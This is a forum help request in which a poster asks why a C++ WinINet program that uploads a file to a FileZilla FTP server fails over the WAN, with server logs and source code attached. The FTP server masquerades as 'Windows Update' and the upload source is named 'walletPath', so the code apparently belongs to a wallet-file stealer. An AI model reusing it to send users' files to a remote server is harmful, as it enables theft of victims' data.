[NEED HELP] { C++ | WININET | FTP | FILEZILLA SERVER } 05-07-2013, 11:12 PM
#1
It just sends a file to Filezilla FTP Server.
When I configure it to send file to the my own FTP server at the same computer(loalhost/127.0.0.1) it works. But when i try to send a file to the another computer in WAN, it doesn't work. I get this error at the server side.
I tried to change connectiont type to passive (INTERNET_FLAG_PASSIVE), but then i get this error.
Source:
When I configure it to send file to the my own FTP server at the same computer(loalhost/127.0.0.1) it works. But when i try to send a file to the another computer in WAN, it doesn't work. I get this error at the server side.
Quote:(000003)08-May-13 00:43:00 - (not logged in) (37.26.1.169)> Connected, sending welcome message...
(000003)08-May-13 00:43:00 - (not logged in) (37.26.1.169)> 220 Windows Update
(000003)08-May-13 00:43:00 - (not logged in) (37.26.1.169)> USER asdasdasd
(000003)08-May-13 00:43:00 - (not logged in) (37.26.1.169)> 331 Password required for asdasdasd
(000003)08-May-13 00:43:01 - (not logged in) (37.26.1.169)> PASS **************
(000003)08-May-13 00:43:01 - asdasdasd (37.26.1.169)> 230 Logged on
(000003)08-May-13 00:43:01 - asdasdasd (37.26.1.169)> TYPE I
(000003)08-May-13 00:43:01 - asdasdasd (37.26.1.169)> 200 Type set to I
(000003)08-May-13 00:43:01 - asdasdasd (37.26.1.169)> PORT 192,168,1,35,22,220
(000003)08-May-13 00:43:01 - asdasdasd (37.26.1.169)> 200 Port command successful
(000003)08-May-13 00:43:01 - asdasdasd (37.26.1.169)> STOR STUPID_FILE_AT_FTP.dat
(000003)08-May-13 00:43:01 - asdasdasd (37.26.1.169)> 150 Opening data channel for file transfer.
(000003)08-May-13 00:43:12 - asdasdasd (37.26.1.169)> 425 Can't open data connection.
(000003)08-May-13 00:43:15 - asdasdasd (37.26.1.169)> disconnected.
I tried to change connectiont type to passive (INTERNET_FLAG_PASSIVE), but then i get this error.
Quote:(000007)08-May-13 01:04:48 - (not logged in) (37.26.1.169)> Connected, sending welcome message...
(000007)08-May-13 01:04:48 - (not logged in) (37.26.1.169)> 220 Windows Update
(000007)08-May-13 01:04:49 - (not logged in) (37.26.1.169)> USER asdasdasd
(000007)08-May-13 01:04:49 - (not logged in) (37.26.1.169)> 331 Password required for asdasdasd
(000007)08-May-13 01:04:49 - (not logged in) (37.26.1.169)> PASS **************
(000007)08-May-13 01:04:49 - asdasdasd (37.26.1.169)> 230 Logged on
(000007)08-May-13 01:04:49 - asdasdasd (37.26.1.169)> TYPE I
(000007)08-May-13 01:04:49 - asdasdasd (37.26.1.169)> 200 Type set to I
(000007)08-May-13 01:04:49 - asdasdasd (37.26.1.169)> PASV
(000007)08-May-13 01:04:49 - asdasdasd (37.26.1.169)> 227 Entering Passive Mode (10,4,30,254,193,187)
(000007)08-May-13 01:04:50 - asdasdasd (37.26.1.169)> disconnected.
Source:
Code:
#include "stdafx.h"
#include <shlwapi.h>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <wchar.h>
#include <wininet.h>
#include <iostream>
#include <Shlobj.h>
#include <stdio.h>
#include <ctime>
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
//check if file
if(PathFileExists(L"C:\\Users\\USER\\Desktop\\STUPID_FILE.dat")){
//FTP upload
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
hFtpSession = InternetConnect(hInternet, L"FTP SERVER" , PORTNUMBER, L"USERNAME", L"PASSWORD", INTERNET_SERVICE_FTP, 0, 0);
FtpPutFile(hFtpSession, walletPath, L"STUPID_FILE_AT_FTP.dat", FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hFtpSession);
InternetCloseHandle(hInternet);
}
return(0);
}